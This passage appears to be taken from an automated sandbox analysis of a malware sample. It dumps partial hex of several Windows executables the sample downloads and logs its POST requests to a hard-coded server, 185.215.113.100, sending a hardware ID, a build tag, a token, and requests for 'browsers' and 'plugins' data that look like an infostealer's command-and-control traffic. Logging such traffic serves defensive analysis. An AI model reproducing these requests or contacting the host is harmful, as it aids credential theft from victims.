00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 28 Aug 2024 09:51:13 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 28 Aug 2024 09:51:14 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 28 Aug 2024 09:51:14 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 28 Aug 2024 09:51:16 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 28 Aug 2024 09:51:16 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.100Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFCFHJDBKJKEBFHJEHIIHost: 185.215.113.100Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 43 46 35 41 43 32 46 37 30 35 32 34 35 38 35 30 34 38 39 33 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6c 65 76 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 2d 2d 0d 0a Data Ascii: ------CFCFHJDBKJKEBFHJEHIIContent-Disposition: form-data; name="hwid"D9CF5AC2F7052458504893------CFCFHJDBKJKEBFHJEHIIContent-Disposition: form-data; name="build"leva------CFCFHJDBKJKEBFHJEHII--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJKECAAAFHJECAAAEBFCHost: 185.215.113.100Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 31 38 33 30 39 65 36 37 32 61 34 66 61 65 35 36 32 64 36 61 36 38 31 30 35 61 61 31 31 61 62 65 64 35 32 35 66 63 62 64 65 34 34 63 31 63 61 62 31 37 63 65 64 32 37 63 39 62 36 62 36 35 37 64 37 31 32 39 34 30 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 2d 2d 0d 0a Data Ascii: ------HJKECAAAFHJECAAAEBFCContent-Disposition: form-data; name="token"1818309e672a4fae562d6a68105aa11abed525fcbde44c1cab17ced27c9b6b657d712940------HJKECAAAFHJECAAAEBFCContent-Disposition: form-data; name="message"browsers------HJKECAAAFHJECAAAEBFC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEBGIIJDGHCBGCBFIEGHost: 185.215.113.100Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 42 47 49 49 4a 44 47 48 43 42 47 43 42 46 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 31 38 33 30 39 65 36 37 32 61 34 66 61 65 35 36 32 64 36 61 36 38 31 30 35 61 61 31 31 61 62 65 64 35 32 35 66 63 62 64 65 34 34 63 31 63 61 62 31 37 63 65 64 32 37 63 39 62 36 62 36 35 37 64 37 31 32 39 34 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 47 49 49 4a 44 47 48 43 42 47 43 42 46 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 47 49 49 4a 44 47 48 43 42 47 43 42 46 49 45 47 2d 2d 0d 0a Data Ascii: ------GIEBGIIJDGHCBGCBFIEGContent-Disposition: form-data; name="token"1818309e672a4fae562d6a68105aa11abed525fcbde44c1cab17ced27c9b6b657d712940------GIEBGIIJDGHCBGCBFIEGContent-Disposition: form-data; name="message"plugins------GIEBGIIJDGHCBGCBFIEG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDHCFCBGIDGHJJKJJDGHost: 185.215.113.100Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 38 31 38 33 30 39 65 36 37 32 61 34 66 61 65 35 36 32 64 36 61 36 38 31 30 35 61 61 31 31 61 62 65 64 35 32 35 66 63 62 64 65 34 34 63 31 63 61 62 31 37 63 65 64 32 37 63 39 62 36 62 36 35 37 64 37 31 32 39 34 30 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 2d 2d 0d 0a Data Ascii: ------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="token"1818309e672a4fae562d6a68105aa11abed525fcbde44c1cab17ced27c9b6b657d712940------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; 